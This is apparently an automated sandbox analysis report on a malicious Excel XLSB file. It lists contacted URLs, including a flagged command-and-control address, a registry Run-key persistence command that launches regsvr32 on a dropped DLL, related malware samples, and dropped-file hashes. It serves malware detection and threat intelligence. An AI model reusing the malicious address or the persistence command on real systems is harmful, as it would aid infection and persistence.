https://18.117.84.120/kenichi/special21new/trailer2a5	regsvr32.exe, 00000019.00000002.634433415.0000000000A6E000.00000004.00000020.sdmp, regsvr32.exe, 00000019.00000002.634483097.0000000000A9A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://insertmedia.bing.office.net/odc/insertmedia	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://o365auditrealtimeingestion.manage.office.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://api.office.net	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://incidents.diagnosticssdf.office.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://asgsmsproxyapi.azurewebsites.net/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	Avira URL Cloud: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://entitlement.diagnostics.office.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://outlook.office.com/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://templatelogging.office.com/client/log	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://outlook.office365.com/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://webshell.suite.office.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://18.188.86.8:443/kenichi/special21new/trailer2a55	regsvr32.exe, 00000019.00000002.636079030.0000000002A44000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://management.azure.com/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://login.windows.net/common/oauth2/authorize	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://graph.windows.net/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://api.powerbi.com/beta/myorg/imports	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://devnull.onenote.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://ncus.pagecontentsync.	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://messaging.office.com/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://augloop.office.com/v2	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://skyapi.live.net/Activity/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
8.8.7.7	unknown	United States	15169	GOOGLEUS	false
107.180.50.232	tpfcu.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false
18.117.84.120	unknown	United States	3	MIT-GATEWAYSUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	431937
Start date:	09.06.2021
Start time:	15:20:54
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 4s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Documents_13134976_1377491379.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSB@28/13@1/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 88.3% (good quality ratio 83.8%) Quality average: 70.5% Quality standard deviation: 29%
HCA Information:	Successful, ratio: 70% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 104.43.193.48, 92.122.145.220, 52.255.188.83, 52.109.76.68, 52.109.12.22, 20.82.210.154, 2.20.142.209, 2.20.142.210, 20.54.104.15, 20.54.7.98, 20.54.26.129, 92.122.213.194, 92.122.213.247, 184.30.20.56, 20.50.102.62 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, prod-w.nexus.live.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, audownload.windowsupdate.nsatc.net, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, a767.dscg3.akamai.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, store-images.s-microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, europe.configsvc1.live.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neu-consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/431937/sample/Documents_13134976_1377491379.xlsb

Simulations

Behavior and APIs

Time	Type	Description
15:22:03	API Interceptor	9x Sleep call for process: regsvr32.exe modified
15:22:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run FX11S05YSR C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB
15:22:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run FX11S05YSR C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
18.117.84.120	sample.ocx	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-26496-GO-DADDY-COM-LLCUS	#U00a0Import Custom Duty invoice & its clearance documents.exe	Get hash	malicious	Browse	184.168.131.241
	Payment receipt MT103.exe	Get hash	malicious	Browse	184.168.131.241
	research-531942606.xlsb	Get hash	malicious	Browse	72.167.211.83
	research-121105165.xlsb	Get hash	malicious	Browse	72.167.211.83
	research-76934760.xlsb	Get hash	malicious	Browse	72.167.211.83
	research-1960540844.xlsx	Get hash	malicious	Browse	72.167.211.83
	research-1110827633.xlsb	Get hash	malicious	Browse	72.167.211.83
	DocumentScanCopy2021_pdf.exe	Get hash	malicious	Browse	148.66.138.158
	New Order.exe	Get hash	malicious	Browse	184.168.131.241
	DocumentScanCopy202_pdf.exe	Get hash	malicious	Browse	148.66.138.158
	NEW ORDER ZIP.exe	Get hash	malicious	Browse	184.168.131.241
	oVA5JBAJutcna88.exe	Get hash	malicious	Browse	184.168.131.241
	qXDtb88hht.exe	Get hash	malicious	Browse	184.168.131.241
	a8eC6O6okf.exe	Get hash	malicious	Browse	184.168.131.241
	Telex_Payment.exe	Get hash	malicious	Browse	184.168.131.241
	QyKNw7NioL.exe	Get hash	malicious	Browse	184.168.131.241
	Payment_Advice.exe	Get hash	malicious	Browse	184.168.131.241
	SOA #093732.exe	Get hash	malicious	Browse	184.168.131.241
	Invoice.exe	Get hash	malicious	Browse	50.62.195.83
	rHk5KU7bfT.exe	Get hash	malicious	Browse	184.168.131.241
MIT-GATEWAYSUS	sample.ocx	Get hash	malicious	Browse	18.117.84.120
	PsNZLytUyV.exe	Get hash	malicious	Browse	128.31.0.34
	networkservice.exe	Get hash	malicious	Browse	18.20.124.79
	file.msg.exe	Get hash	malicious	Browse	128.30.52.76
	Update-KB1484-x86.exe	Get hash	malicious	Browse	128.30.52.79
	nT7K5GG5km	Get hash	malicious	Browse	19.35.22.33
	KnAY2OIPI3	Get hash	malicious	Browse	19.252.51.218
	x86_unpacked	Get hash	malicious	Browse	19.60.14.26
	rIbyGX66Op	Get hash	malicious	Browse	19.21.98.61
	4JQil8gLKd	Get hash	malicious	Browse	19.170.175.72
	IMG001.exe	Get hash	malicious	Browse	19.241.222.80
	YPJ9DZYIpO	Get hash	malicious	Browse	19.160.35.138
	FB11.exe	Get hash	malicious	Browse	128.31.0.34
	messg_02620000_deupx - Copy.exe	Get hash	malicious	Browse	128.31.0.39
	HUahIwV82u.exe	Get hash	malicious	Browse	128.31.0.34
	R8WWx5t2RE.dll	Get hash	malicious	Browse	18.41.89.186
	KCCAfipQl2.dll	Get hash	malicious	Browse	19.3.169.121
	fOMSAB0Sfe.exe	Get hash	malicious	Browse	128.31.0.34
	530000.exe	Get hash	malicious	Browse	128.31.0.34
	networkmanager	Get hash	malicious	Browse	19.211.36.11

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
8916410db85077a5460817142dcbc8de	sample.ocx	Get hash	malicious	Browse	18.117.84.120
	samp.exe	Get hash	malicious	Browse	18.117.84.120
	UJFcKUqgmf.exe	Get hash	malicious	Browse	18.117.84.120
	1c2102da_by_Libranalysis.dll	Get hash	malicious	Browse	18.117.84.120
	34d0a579_by_Libranalysis.dll	Get hash	malicious	Browse	18.117.84.120
	3f3cb269_by_Libranalysis.dll	Get hash	malicious	Browse	18.117.84.120
	fTXDq_9l7R2B0vcJRNsxuiqMxwPxzPi4LKezkpuCM_E.dll	Get hash	malicious	Browse	18.117.84.120
	huqgk.exe	Get hash	malicious	Browse	18.117.84.120
	publiclicense.vbs	Get hash	malicious	Browse	18.117.84.120
	Ei8IYTWG2j.exe	Get hash	malicious	Browse	18.117.84.120
	IU7lKa778w.exe	Get hash	malicious	Browse	18.117.84.120
	oi5zrjsKJG.exe	Get hash	malicious	Browse	18.117.84.120
	SecuriteInfo.com.RiskTool.Win32.BitCoinMiner.vho.31244.exe	Get hash	malicious	Browse	18.117.84.120
	b49zEBfIlL.dll	Get hash	malicious	Browse	18.117.84.120
	SecuriteInfo.com.UDS.Trojan.Win32.Injuke.25486.exe	Get hash	malicious	Browse	18.117.84.120
	XLhw6JGwC0.dll	Get hash	malicious	Browse	18.117.84.120
	SecuriteInfo.com.UDS.Trojan.Win32.Bsymem.19574.dll	Get hash	malicious	Browse	18.117.84.120
	SecuriteInfo.com.Program.Win32.Wacapew.Cml.8809.exe	Get hash	malicious	Browse	18.117.84.120
	ai8HRya7D6.exe	Get hash	malicious	Browse	18.117.84.120
	SecuriteInfo.com.FileRepMalware.16835.exe	Get hash	malicious	Browse	18.117.84.120
37f463bf4616ecd445d4a1937da06e19	audit-367497006.xlsb	Get hash	malicious	Browse	107.180.50.232
	Bills Pending Approval.html	Get hash	malicious	Browse	107.180.50.232
	GDrVYvtzuO.exe	Get hash	malicious	Browse	107.180.50.232
	9E7YOr0kp1.exe	Get hash	malicious	Browse	107.180.50.232
	aKdhpWlFPg.exe	Get hash	malicious	Browse	107.180.50.232
	vSYEHJjK1G.exe	Get hash	malicious	Browse	107.180.50.232
	FaceCheck - Installer.exe	Get hash	malicious	Browse	107.180.50.232
	analysis-31947858.xlsb	Get hash	malicious	Browse	107.180.50.232
	Julie.randall Completed REFERRAL AGREEMENT 60926.html	Get hash	malicious	Browse	107.180.50.232
	DPSGNwkO1Z.exe	Get hash	malicious	Browse	107.180.50.232
	x1Q123VhUa.exe	Get hash	malicious	Browse	107.180.50.232
	Snc3sPQ2yl.exe	Get hash	malicious	Browse	107.180.50.232
	nU8kVKVAc8.exe	Get hash	malicious	Browse	107.180.50.232
	tmp_Client-Status-062021-952177.vbs	Get hash	malicious	Browse	107.180.50.232
	analysis-1593377733.xlsb	Get hash	malicious	Browse	107.180.50.232
	research-531942606.xlsb	Get hash	malicious	Browse	107.180.50.232
	New order_doc.exe	Get hash	malicious	Browse	107.180.50.232
	06.08.21 Inv & AP Statement - Copy.htm	Get hash	malicious	Browse	107.180.50.232
	#Ud83d#Udda8rocket.com 1208421(69-queue-2615.htm	Get hash	malicious	Browse	107.180.50.232
	research-121105165.xlsb	Get hash	malicious	Browse	107.180.50.232

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\L3YD7CE.dll	sample.ocx	Get hash	malicious	Browse
C:\Users\user\iepfusn.dll	sample.ocx	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\rtdsgfe[1].dll	sample.ocx	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 60080 bytes, 1 file
Category:	dropped
Size (bytes):	60080
Entropy (8bit):	7.995256720209506
Encrypted:	true
SSDEEP:	768:O78wIEbt8Rc7GHyP7zpxeiB9jTs6cX8ENclXVbFYYDceSKZyhRhbzfgtEnz9BPNZ:A8Rc7GHyhUHsVNPOlhbz2E5BPNiUu+g4
MD5:	6045BACCF49E1EBA0E674945311A06E6
SHA1:	379C6234849EECEDE26FAD192C2EE59E0F0221CB
SHA-256:	65830A65CB913BEE83258E4AC3E140FAF131E7EB084D39F7020C7ACC825B0A58
SHA-512:	DA32AF6A730884E73956E4EB6BFF61A1326B3EF8BA0A213B5B4AAD6DE4FBD471B3550B6AC2110F1D0B2091E33C70D44E498F897376F8E1998B1D2AFAC789ABEB
Malicious:	false
Preview:	MSCF............,...................I........d.........R9b .authroot.stl.3..).4..CK..8T....c_.d....A.K...].M$[v.4.)7-.%.QIR..$t)Kd.-[..T\{..ne.....{..<.......Ab.<..X....sb.....e........dbu.3...0........X..00&Z....C...p0.}..2..0m.}..Cj.9U..J.j.Y...#.L..\X..O.,...,.qu..]..(B.nE~Q...)..Gcx.....}...f....zw.a..9+[.<0.'..2 .s..ya..J......wd....OO!.s....`.WA...F6._f....6...g..2..7.$,....X.k..&...E...g.....>uv."..!......xc......C..?....P0$.Y..?u....Z0.g3.>W0&.y.(....].`>... ..R.q..wgX......qB!.B....Z.4..>.R.M..0.8...=.8..Ya.s.......add..)..w.4.&.z...2.&74.5]..w.j.._iK..\|\|[.w.M.!<-.}%.C<tDX5\s._..I....nb.....GCQ.V..r..Y.............q...0..V)Tu>.Z..r...I...<.R{Ac..x^. .<A........\|.{.....Q...&....X..C$....e9.:..vI..x.R4...L......%g...<..}'{....E8Sl...E".h...*.........ItVs.K......3.9.l..`D..e.i`....y...,..5....aSs`..W...d...t.J..]....'u3..d]7..=e....[R!:........Q.%..@........ga.v.~..q....{.!N.b]x..Zx.../;#}.f.)k.c9..{rmPt..z5.m=..q..%.D#<+Ex....1\|.._F.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.132472625894721
Encrypted:	false
SSDEEP:	6:kKgy3Pse8N+SkQlPlEGYRMY9z+4KlDA3RUeWlK1MMx:4Ks8kPlE99SNxAhUe3OMx
MD5:	B84815C12C603EC6FB8D1EDA4CA29530
SHA1:	CD18E3BC8FCFB385C1225EF5ED0FCF1BD9DF0434
SHA-256:	961CA06C24F3E4B504765841EFB908C623E99B0EC81EBB6804928909F4360E52
SHA-512:	7771C7B0CC1743F21C13270B0B8390410E1BBD9BB849F9DF045F5A9976B99A169328F257CD09403420C24B62275F332CE54909F8603970F07C71C90501984D2F
Malicious:	false
Preview:	p...... .........<..~]..(....................................................... ............L......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.9.0.e.6.c.f.e.3.4.c.d.7.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\2CA63FBD-E4D0-4324-9237-CB578953FC60 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	134915
Entropy (8bit):	5.369271958078095
Encrypted:	false
SSDEEP:	1536:lcQIKNEeBXA3gBwlpQ9DQW+z7534ZlCKWXboOilX5ENLWME9:REQ9DQW+zAXOe
MD5:	76B550BC14095A4AFBB5E04BE5F42175
SHA1:	2A74379C0333997DFED5BB5F7BDB7F707BAF68E4
SHA-256:	7F1E14B77DF7F3FCEB0C34441CA6F6A68288706308BF5B072FAE111AF6BE0817
SHA-512:	41056D2FD4A84E050F7EDC8F962B02C093AD02F3B2B8E410F424A6E155672AF6BA67D21579EC5B0BF6A56F9E8B71B2B0035C5E6B822B78072D1EB2DCBCA3E94F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-06-09T13:21:51">.. Build: 16.0.14207.30526-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\2FDD9604.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 264 x 113, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	9924
Entropy (8bit):	7.973758306371751
Encrypted:	false
SSDEEP:	192:soXrzGktAQUkDfw4om9PEK9u27pwnJyV028/tgXEoCWoB:so9G+fnVEYu27OIW/+XEoCWoB
MD5:	B34FB4F2F0F9E70B72BA3AFD028CD97C
SHA1:	C6868336F78DEA1E718965DF3341039581DB5B5A
SHA-256:	189D420D344A694FD1928ABACBEC94D9F0EF52BE036CEB8144A9D9A6DD14EAEB
SHA-512:	4795600917F8A67A6C5CBD5713CAACE74E0483F8E6BB6D98EAB63BF24A0F71E537E7F8ABD26808630B247D454A3F467595C8343EEB4EA98AFAB49D81964158D6
Malicious:	false
Preview:	.PNG........IHDR.......q............sRGB.........pHYs..........+....&iIDATx^.Wp.G~.{"r.. H.9s.,Q.v........\..../wu..t.o..ru...+W]....vWa).Q.b&.@d.D.q....{0....GB....8...........X,&L1.0...........b...0Xa ....a..0.0.ap.@......'.. `.#.6.,....aX..i.b.0..b.n.k...0...J1...H..7...C...dZ....a....Z..!.kp2.R...0Rl..r.A...58.V)..C.)..f.. `....L....!...p.\k.0.a.N.U.A..F.m.Y.5....'.. `.#.6.,....aX..i.b.0..b.n.k...0...J1...H..7...C...dZ....a....Z..!.kp2.R...0Rl..r.A...58.V)..C.)..f.. `....L....!...p.\k.0.a.N.U.A..F.m.Y.5....'.. ..W[....cfTDC.....V.....W`...Q!.JEaE....5O.{\N.p8b.5.#.t......^...p..A.+.0cC..(.v.,.............qO....-b.0.#l.......p...w...sN]m..-c.=....L....I..T...I.3....]...r.....Ae.H%..!......O...?-.I..".4...........p...{..0..#,..........%4.;E....w..]......ga...X....#...h@.'E.'.\|...I.a..J..V...!...E..?8[CQ?.'...5Qy........X..)Y..ic 0....!..Gf..4...o.R../.^..y2.'..p.....KO..v.T....~.......-]"..u9Q..i..^e..!.i".^.......C.CKV..~Ku.4"m.$>cKP...x...7

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\3DB5784F.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 168 x 72, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	6177
Entropy (8bit):	7.959095006853368
Encrypted:	false
SSDEEP:	96:j6KDvZ3QXkQ288GMDBm6hEeWyS8ITRIVg9gPEnbYhbY0Y4pxCpAueydMT1uZMr0a:j6KTV8WBPhqd9qqYTB6peyeT1oMr0a
MD5:	C7ED6FC355D8632DB1464BE3D56BF5CC
SHA1:	615484A338922DDF00B903CFA48060AD60D70207
SHA-256:	26000244FBB0C6B2D76F80166CE85700BC96141C6CD80F8B399CA6F15FE3515C
SHA-512:	FB4AE09EACD15A4FE778BDF366808C4F9FE403C4054F86704C03C87C7016E7D7A5772677B69064FCB5F1B9345D80C4263A58EA8B5E9CA2B717E24E2B19B85A92
Malicious:	false
Preview:	.PNG........IHDR.......H......m)a....sRGB.........pHYs..........+......IDATx^....E...1.Y. ..."3.(.D......A..(....(.C.X.QP..b.UQAdA..9'I:Hf..f.....s....._.A..s.3...Vu........Z.[.q.P.-9.b..q.......\|.r F......c..1..........e.->....@..;n.q..(.bt.q...>F9...[\|\.1..]v..A..G..y._3...3M.YG7.J.)..RK]u.j}.^J.....R...j.:=}..qN .sV&..F.a.@..Vs.P...%.A......~..w..P.Be.-].4..arss.9~.8d.@.d...."..?.G....z............(.T.......G.;w.?....w....S.H.+...W.^..........E..-_.\|....D-....#G.{..<r....P.K..$.{D....kzzz.R....`?..O;........#....tb..g..gU.r>G.......:t........a........p..c..]......M.6.'O.]......8q...RSS.YBB.M.j..}..I.&.:%J.x..7o....d.*U..233.].......E.m}..../^..nt..X.b,..{<....=.....3....z....v..]0.e.}...?.....w..y...)S.L.F.:t..U...+F...l......&...322.6m.../.[.J.a.=..%Kx....E...ys.....z...i.z..g...G...e.7.\|.h....!C^x.5k"......<.R..k....4iR.V-.._.~....:..P.O@.y.:..:G=.\...J ...u...]%.T.n.......v..A`Y.......V...^{.X^.I`1w.q........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\5E6A3635.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 178 x 76, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	5744
Entropy (8bit):	7.966496386988271
Encrypted:	false
SSDEEP:	96:4uJgumnoYk22FLjJq17cpKsv+CHI5BXjI1e+HCLDl3kjH1erj+uYU2:4CgJfkfJA7ixCxqe+GDhkT1erj+uYf
MD5:	9AD30E24270C495AE68EAF3A1EEECBFB
SHA1:	8642D256E7FFBEF5804A2D2220A1FE475A99DC36
SHA-256:	6D3EAD431ABD110369EFABC6F2E474DC24FA3D7EEC28DE43456407C5BACD6D20
SHA-512:	EB156DD0686BAAE4F46B0B0C01838DA7225529D3B31912568D36A1CC07BE006EEAD31F464B0252C3A8471ACA71E86EEE9185FE705ABAE08C56B15C63CC891AD5
Malicious:	false
Preview:	.PNG........IHDR.......L.....FpzV....sRGB.........pHYs..........+......IDATx^.\.tTU..u...@@. .b..su....."....+k..Aeu..rX..feE..(M.....b..BB.P.f&S_.~w&.I.aH...'...0..........u.2.!...`....8_..,.T.#....,.X...N....NN-l........5`...Z.,..-L..k.":9..Y.,Z..c.Etrja..X.0.G.......f..ha...]......2`.......,..S..e...)<:v.XD'..6.E.Sxt....NN-l........5`...Z.,..-L..k.":9..Yt......9.{.f;...f../Mh...B..GK.....FG.....s...MN.vqp"+.\|.m[&11..<O....?...EQ4.H...Z'M... #.T......vS..^..p..)........1...JJr?.gq.V..X..h..T._Zr2g..W^...A./.W...P....q.By.49..5M--.e...5}..{.!.s4M./Xx2.....`...I>s..4U...]...(5.8o>.X.[..xS.w)../.c.Lh..a..uQ.fd.....jh.Z.d..(..=.....#.....o.y....g...-....=?..X.f./..=n\|`.j..k.........{.4...b..T.-h..F..;u.x....[!.\....'Nx^....C..b...8........\|F.$.4.......&?.>#.d.\p.R..k..>t0?.-3g..b......s.O..E...4o...\O=.7O=z...u1$n..6..C.]A.X...Z.tX.......I..W.....P...h.@..+q..F.kcI..x\>.....0.4..p....}.~e...).w....%Q.$W......8........PY.k..J....T..b.l

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\682ADEB2.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	956
Entropy (8bit):	7.683552542542939
Encrypted:	false
SSDEEP:	24:64ZJH5wka2YQydYiFNcincNrtNmt5xx4tRFB:JJH5fYuW5c3wPoFB
MD5:	32C83607A5C98C5A634278E5AED3AD61
SHA1:	EDE34ADEA53C413C4AC8215EA48F2F2FD59F1362
SHA-256:	4A999E919D85EDD0CD1A772CA3B29F91AEECF77D0BEB11FD1B632B7A8A0686BF
SHA-512:	AF19A013377F0F7B47E54D99D0AFA222BE46072C47944E8640B09A4993DFDDC906B7C68F7E3DAB5B3F126C9AD1090EADBF17FF7068EE8E360D0EA46811C0DB3C
Malicious:	false
Preview:	.PNG........IHDR.............;0......sRGB.........gAMA......a.....pHYs..........o.d...QIDATHK.VMHTQ..2.h.X."h....A....]B...m.(h..b?.$...f.)..ta...jS..!..h.ETD.!."."C..y.....=.>8...{.s..32.0Fv.F...kz..&.\|_......9.)m."......m..$9.j...E.@.:D.-..0...L.hk..(....s.'.k.A-.-......(.....jR[m..d..O.-?:.c..70.{..sw'X.j.^j+..d....N.. .r......Z.[[[..c...r.../.M`l.]&#.aR..[{...<O....<d...3....F...:..s9..-...x..R...q..ON.KO;..0..^.....9.S.}..x...22......r..f....'......+o...A..7......q..l...S........s/.{.^..Pj1`.b.!t..>o..!.C.e.}....Y.....t.......r.MDq=.=..._....c..3%p...j...hI1.[.^.#..."#...e...6..I-j;.9j;o/...Q2...w-.?.<..r../?...0.`.;.lz.M...\. ..]x...\h^.....r..';... ...<..j..E._.E..u..g....7.X....T....7........(&.[....... T....;V1w..,EU.W"./.........m%.u'x/.u]....@.-.L..G.....Q."..%fb.Z.,...K.%BX....]`J=.h".Vef...2..8.g.jX.2s..vY.u\|.4p.\.h...W....(.r.....^Y....2$8F...>`p._.c..}.txq#.$.`:@...Y..?.j.IK.Fu....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\86406406.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 288 x 77, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	23989
Entropy (8bit):	7.989754044300238
Encrypted:	false
SSDEEP:	384:SGjFc9Ll+HCggc/h3GXoQjZVVawDIPsTDGY9R9cNc+3JY0kEtWhfEWa92ppgMoF3:S5plMCgzGoOzVawisTDGY9Rs3JYhEtqy
